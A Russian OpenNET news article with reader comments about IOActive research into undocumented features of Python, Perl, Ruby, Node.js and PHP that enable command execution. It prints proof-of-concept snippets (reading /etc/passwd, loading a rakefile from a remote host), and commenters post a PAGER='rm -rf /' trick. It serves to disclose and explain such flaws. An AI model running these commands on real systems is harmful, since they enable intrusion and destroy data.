The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги | ]

10.12.2017 00:07  Неявные свойства языков программирования, которые могут привести к уязвимостям

Исследователи из компании IOActive представили на конференции Black Hat Europe доклад, в котором подвели итоги работы по выявлению недокументированной функциональности в интерпретируемых языках программирования, которая может потенциально стать причиной появления уязвимостей в приложениях. Код разработанного в рамках исследования инструментария ZDiFF (Extended Differential Fuzzing Framework), который применялся для выявления потенциальных уязвимостей, опубликован под лицензией GPLv3.

Примером подобной функциональности, который подтолкнул к проведению исследования, является давно известная особенность открытия ссылок через функцию open() в языке Ruby. При передаче URL в качестве аргумента, данная функция позволяет загрузить удалённую страницу, чем пользуются многие разработчики. При этом не все учитывают, что при отсутствии надлежащей проверки (например, при проверке входных значений через "/^https:/"), вместо URL может быть передана конструкция вида "|head /etc/passwd;\nhttps://url.com", которая приведёт к выполнению кода "head /etc/passwd" в системе.

При проведении fuzzing-тестирования стандартных наборов библиотек популярных языков программирования была выявлена серия недокументированных особенностей в Python, Perl, Node.js, JRuby и PHP, которые сами по себе не являются уязвимостями, но могут стать источником их появления в приложениях:

  • Недокументированный способ выполнения кода в Python, используя метод pipeto() в библиотеке mimetool, метод pipepager в библиотеке pydoc или манипулируя переменной окружения PAGER при выполнении метода pager в pydoc. Например, для выполнения программы id можно использовать
    
       import mimetools 
       print(mimetools.pipeto(None,'id'))
    
       или
       import pydoc
       print(pydoc.pipepager(None,'id')
    
       или
       $ export PAGER="id> bar"
       $ python -c "import pydoc;pydoc.pager('foo')"
    
  • Локальное выполнение кода в программах на языке Perl, использующих функцию embeddable_typemap() из модуля "ExtUtils::Typemaps::Cmd" (не входит в число core-модулей) для загрузки XS typemap, которая имеет неприятную особенность исполнения аргумента как Perl-кода в случае ошибки. Для выполнения программы id можно использовать код (параметр функции embeddable_typemap будет выполнен через eval и результат показан в составе сообщения об ошибке):
    
       use ExtUtils::Typemaps::Cmd;
       print embeddable_typemap("system 'id'");
    
  • Утечка данных из файла в составе сообщения об ошибке в Node.JS. При возможности контролировать имена модулей, загружаемых через вызов require(), в случае попытки загрузки не JavaScript-файла будет сгенерирован SyntaxError, но при использовании JavaScript-движка V8 в составе текста ошибки будет выдано содержимое первой строки файла. Например, попытка выполнить "console.log(require('.htpasswd'))" приведёт к выводу содержимого первой строки файла ".htpasswd" в тексте ошибки.
  • Возможность выполнения кода в программах JRuby, использующих класс Rake. Напрмер, для выполнения команды id можно разместить на внешнем сайте файл http://x.x.x.x/canaryfile с содержимым "пустая строка puts %x(id)" и инициировать обработку ссылки http://x.x.x.x/canaryfile в функции load_rakefile:
    
       require "rake";
       puts Rake.load_rakefile("http://x.x.x.x/canaryfile");
    
  • Выполнение команд в коде на PHP, использующем неопределённые константы, которые интерпретируются как строки. В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлу и вместо содержимого константы значение будет обработано как строковое имя константы. Например:
    
       echo shell_exec(escapeshellcmd(bash." -c id"));
    
    приведёт к выполнению "bash -c id", хотя по задумке разработчиков в константе bash могли передаваться другие данные.

  1. Главная ссылка к новости (https://www.reddit.com/r/netse...)
  2. OpenNews: Уязвимость в Guile, затрагивающая программы, привязанные к localhost
  3. OpenNews: Зафиксирована массовая атака на уязвимые версии Ruby on Rails
  4. OpenNews: Google продемонстрировал первую успешную атаку на алгоритм хеширования SHA-1
  5. OpenNews: В Bugzilla устранена опасная уязвимость, открывшая новый вид атак на web-приложения
  6. OpenNews: Сравнения языков программирования с позиции безопасности написанного на них кода
Лицензия: CC-BY
Тип: Проблемы безопасности
Ключевые слова: perl, php, ruby, python
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение Ajax/Линейный | Раскрыть все сообщения | RSS
 
  • 1.4, Аноним (-), 01:00, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]
  • –1 +/
    Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР...
     
     
  • 2.7, нах (?), 01:20, 10/12/2017 [^] [ответить]    [к модератору]
  • –9 +/
    список этих "нормальных" дятлов озвучьте, плиз. Он не должен быть большим.

    чтоб не долго гадать, почему восстановление пароля, к примеру, не работает.

     
     
  • 3.21, кавайи (?), 09:27, 10/12/2017 [^] [ответить]    [к модератору]
  • +5 +/
    >чтоб не долго гадать, почему восстановление пароля, к примеру, не работает.

    ну и как восстановление пароля связано с запретом на выполнение консольных команд из скрипта?

     
  • 2.10, Аноним (-), 01:59, 10/12/2017 [^] [ответить]    [к модератору]
  • +1 +/
    Я надеялся что "нормальные" шареды уже сдохли в эпоху VPS за 1 евро. Вы меня огорчаете.
     
     
  • 3.30, anomymous (?), 13:42, 10/12/2017 [^] [ответить]     [к модератору]
  • +2 +/
    VPS за 1 евро требует от хостящегося ещё знаний апача, нгинха, линухов, умения... весь текст скрыт [показать]
     
     
  • 4.53, Аноним (-), 04:06, 11/12/2017 [^] [ответить]    [к модератору]  
  • +/
    Я чего то не пойму и нафига вам пароли от докер контейнеров там же ничего нет внутри ...
     
     
  • 5.60, amonymous (?), 14:37, 11/12/2017 [^] [ответить]    [к модератору]  
  • –2 +/
    Запустите мне на докере на ноде с 8Гб RAM хотя бы 1500 вхостов - приходите.
     
     
  • 6.69, Аноним (-), 01:07, 12/12/2017 [^] [ответить]    [к модератору]  
  • –2 +/
    Это такой толстый тролинг? ну если у вас на тачке живут 1.5к хоумпаг с трафиком 2 поисковых бота и один живой юзер в день, то да шаред хостинг незаменим.
     
  • 3.82, Иван (??), 22:17, 20/12/2017 [^] [ответить]    [к модератору]  
  • +/
    Это где можно взять VPS за 1 евро? Только с FreeBSD, а не OpenVZ. ihor не предлагайте. Там телефон требуют и деньги без скана паспорта не возвращают.
     
  • 2.40, pavlinux (ok), 20:38, 10/12/2017 [^] [ответить]    [к модератору]  
  • –3 +/
    > Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР...

    Чем консольный head отличается от head.php?

     
     
  • 3.56, Anonymoustus (ok), 09:44, 11/12/2017 [^] [ответить]    [к модератору]  
  • +6 +/
    Вот он — признак профессионализма. А ведь как умело притворялся…
     
  • 1.9, Gemorroj (ok), 01:55, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • –1 +/
    про пхп.
    в текущей стабильной версии на неопределенные константы кидает варнинг. https://3v4l.org/LOvdj
    В будущих версиях неопределенные константы  будут кидать эксепшен http://php.net/manual/ru/migration72.incompatible.php#migration72.incompatibl
    ---
    да и вообще, несколько притянуто за уши.
     
     
  • 2.38, Аноним (-), 19:59, 10/12/2017 [^] [ответить]    [к модератору]  
  • +2 +/
    Во-первых, удивительно, как кому-то вообще пришло в голову обрабатывать так неопределенные константы; во-вторых, удивительно, сколько времени потребовалось, чтобы осознать ошибку.
     
     
  • 3.71, wd (?), 02:02, 12/12/2017 [^] [ответить]     [к модератору]  
  • +/
    wd perl -le print zzz aaa zzz zzzaaazzz wd perl -le sub aaa 123... весь текст скрыт [показать]
     
     
  • 4.73, Аноним (-), 04:32, 12/12/2017 [^] [ответить]     [к модератору]  
  • +/
    и хрен бы с ним, можно и без если например научить себя по дефолту использовать ... весь текст скрыт [показать]
     
     
  • 5.81, Клыкастый (ok), 13:20, 18/12/2017 [^] [ответить]    [к модератору]  
  • +/
    > и хрен бы с ним, можно и без если например научить себя по дефолту

    Можно. Но зачем? И можно просто приучить себя к strict - и проще и правильнее.

     
  • 4.77, Anonymoustus (ok), 09:54, 12/12/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    > но писать в продакшн без strict моветон...

    Даже как-то не верится, что читаешь это на опеннете.

     
  • 1.14, Аноним (-), 04:17, 10/12/2017 [ответить] [показать ветку] [···]     [к модератору]  
  • –1 +/
    И кто этот pipepager юзает А со своим PAGER так вообще Тоже мне новость, взяли... весь текст скрыт [показать]
     
     
  • 2.15, Аноним (-), 06:37, 10/12/2017 [^] [ответить]     [к модератору]  
  • +/
    Да как бы нода тоже довольно притянута Слабо себе представляю ситуацию, когда б... весь текст скрыт [показать]
     
     
  • 3.16, Аноним (-), 06:44, 10/12/2017 [^] [ответить]     [к модератору]  
  • +/
    К тому же, в отличии от других проблем, в ноде конкретно эту дыру легко пофиксит... весь текст скрыт [показать]
     
  • 1.17, Аноним (-), 06:44, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    А где же жаба?
     
     
  • 2.34, лютый жабист__ (?), 14:30, 10/12/2017 [^] [ответить]    [к модератору]  
  • –1 +/
    Неуязвима само собой :>
     
     
  • 3.47, Аноним84701 (ok), 23:28, 10/12/2017 [^] [ответить]     [к модератору]  
  • +2 +/
    В смысле, https www opennet ru opennews art shtml num 46167 https www openn... весь текст скрыт [показать]
     
     
  • 4.79, qsdg (ok), 01:13, 14/12/2017 [^] [ответить]    [к модератору]  
  • +/
    Статья была про языки, а не про конкретные программы. Или та дыра была из-за какой-то фичи именно Жабы, из-за которой легко допустить ошибку?
     
  • 2.54, qrKot (?), 09:12, 11/12/2017 [^] [ответить]    [к модератору]  
  • +2 +/
    >> А где же жаба?

    Читаем новость:
    "недокументированной функциональности в интерпретируемых языках программирования"
    "интерпретируемых языках программирования"
    "интерпретируемых"

     
     
  • 3.78, qsdg (ok), 01:09, 14/12/2017 [^] [ответить]     [к модератору]  
  • +/
    Мистер не знает, что Жаба -- интерпретируемый язык У неё есть встроенный JIT ... весь текст скрыт [показать]
     
  • 1.19, ыы (?), 08:38, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +2 +/
    Гора родила мышь...

    Table 2: Number of functions tested per category
    Category Number of Functions Tested
    JavaScript 450
    PHP 1405
    Ruby 2483
    Perl 3105
    Python 3814

     
     
  • 2.20, Аноним (-), 08:52, 10/12/2017 [^] [ответить]     [к модератору]  
  • +4 +/
    Вообще интересно как они исследуют тестируют так как к примеру в perl упомянутый... весь текст скрыт [показать]
     
     
  • 3.39, Stop (?), 20:09, 10/12/2017 [^] [ответить]    [к модератору]  
  • +5 +/
    Без упоминания перла любой обзор про скриптовые языки становится кастрированным.
    Пришлось натягивать сову на глобус.
     
  • 3.49, Khedin (?), 23:35, 10/12/2017 [^] [ответить]     [к модератору]  
  • –3 +/
    включая довольно популярные модули И в свежепоставленном perlbrew 5 26 1 по... весь текст скрыт [показать]
     
     
  • 4.63, angra (ok), 20:44, 11/12/2017 [^] [ответить]    [к модератору]  
  • +/
    Осталось выяснить, кто из них использует именно ExtUtils::Typemaps::Cmd - модуль предназначенный для однострочников.
     
     
  • 5.74, Аноним (-), 07:16, 12/12/2017 [^] [ответить]     [к модератору]  
  • +/
    Докладываю ExtUtils Typemaps Cmd pm использует никто, поэтому ExtUtils Typem... весь текст скрыт [показать]
     
     
  • 6.75, Аноним (-), 07:18, 12/12/2017 [^] [ответить]    [к модератору]  
  • +/
    > этим коммитом https://perl5.git.perl.org/perl.git/commit

    холикрап, вот урл вашей собаке: https://perl5.git.perl.org/perl.git/commitdiff/dbeddf837c5004f969a98eb4c1054cc

     
  • 1.22, trolleybus (?), 10:54, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +2 +/
    > Неявные свойства языков программирования

    Вообще-то не языков, а реализаций

     
  • 1.23, Аноним (-), 11:15, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +4 +/
    Получите, адепты типа безопасных языков.
     
  • 1.24, ano (??), 11:32, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • –1 +/
    мышки и кактусы все в одном месте.
     
  • 1.25, Аноним (-), 12:41, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    $ export PAGER='rm -rf  /'
    $ git diff
     
     
  • 2.41, pavlinux (ok), 20:43, 10/12/2017 [^] [ответить]    [к модератору]  
  • –1 +/
    > $ export PAGER='rm -rf  /'
    > $ git diff

    О мамонт, если ты был в заморозке последние 15 лет, то просвещаю: 'rm -rf /' не работает.

     
     
  • 3.44, anonimus (?), 22:10, 10/12/2017 [^] [ответить]    [к модератору]  
  • +/
    Суть уловить не судьба?
     
  • 3.59, PnDx (ok), 13:16, 11/12/2017 [^] [ответить]    [к модератору]  
  • +/
    Попробуйте так:
    export PAGER='rm -rf  /* 2>/dev/null'
    git diff
    #"Удовлетворение 100% гарантируем" ©
     
  • 1.32, Аноним (-), 13:45, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +1 +/
    Да там сами языки - одна большая уязвимость. Особенно JS и PHP с их безумной типизацией.
     
     
  • 2.57, Anonymoustus (ok), 09:50, 11/12/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    Зато вот принято говорить, что низок порог вхождения, ага.
     
     
  • 3.65, Led (ok), 22:22, 11/12/2017 [^] [ответить]    [к модератору]  
  • –3 +/
    > Зато вот принято говорить, что низок порог вхождения, ага.

    Это не порог, это плинтус.

     
     
  • 4.67, антон (??), 22:49, 11/12/2017 [^] [ответить]    [к модератору]  
  • +/
    ... вхождения в ад, вниз, под плинтус.
     
  • 2.80, Аноним (-), 16:50, 14/12/2017 [^] [ответить]    [к модератору]  
  • –1 +/
    Компьютеры - одна большая уязвимость.
     
  • 1.35, stalkerdroad (ok), 15:04, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • –1 +/
    >> PHP
    >> В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлу

    В современных сайтах обращение к конкретным файлам не возможно. Там все запросы идут через Входной Скрипт.

     
     
  • 2.42, pavlinux (ok), 20:45, 10/12/2017 [^] [ответить]    [к модератору]  
  • +/
    > В современных сайтах

    Кто такие "современные сайты" и где живёт "входной скрипт"? :)

     
     
  • 3.52, rshadow (ok), 01:06, 11/12/2017 [^] [ответить]    [к модератору]  
  • +/
    По всей видимости имеется ввиду сайт на современном фреймворке. Где в целях "красивого" роутинга используется единая точка входа всех запросов.
     
     
  • 4.58, stalkerdroad (ok), 12:15, 11/12/2017 [^] [ответить]     [к модератору]  
  • +/
    И в целях безопасности Файл Точки Входа может быть в папке htdocs, а остальные ... весь текст скрыт [показать]
     
  • 1.36, Аноним (-), 16:19, 10/12/2017 [ответить] [показать ветку] [···]     [к модератору]  
  • +1 +/
    Популярными становятся языки, которые пытаются казаться более умными и дружестве... весь текст скрыт [показать]
     
     
  • 2.37, Аноним (-), 16:23, 10/12/2017 [^] [ответить]    [к модератору]  
  • +/
    Недоредактировал:
    s/особо//
    s/становиться/становится/
     
  • 1.46, Аноним (-), 22:33, 10/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +8 +/
    Использую перл последние 18 лет, о существовании модуля 'ExtUtils::Typemaps::Cmd' узнал только что из этой статьи.
     
     
  • 2.55, Аноним (-), 09:40, 11/12/2017 [^] [ответить]    [к модератору]  
  • –5 +/
    Используешь перл - имеется в виду используешь софт, который использует перл?
    ну тогда и я знаю си с самого 1995 года (а учиться программированию начал в 2007)
     
     
  • 3.72, Аноним (-), 04:13, 12/12/2017 [^] [ответить]    [к модератору]  
  • +1 +/
    > Используешь перл - имеется в виду используешь софт
    > а учиться программированию начал

    мог бы и не начинать

     
  • 1.50, Аноним (-), 00:01, 11/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +2 +/
    >является давно известная особенность открытия ссылок через функцию open()

    zero-cost abstractions такие zero-cost

     
  • 1.70, Аноним (-), 01:13, 12/12/2017 [ответить] [показать ветку] [···]    [к модератору]  
  • +/
    тогда уж вот так
    puts Rake.load_rakefile(my_var);
    И да, мы тут всей конторой грузим исполняемые файлы из переменных, при этом специально не проверяем их ))
     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:


      Закладки на сайте
      Проследить за страницей
    Created 1996-2018 by Maxim Chirkov  
    ДобавитьПоддержатьВебмастеруГИД  
    Hosting by Ihor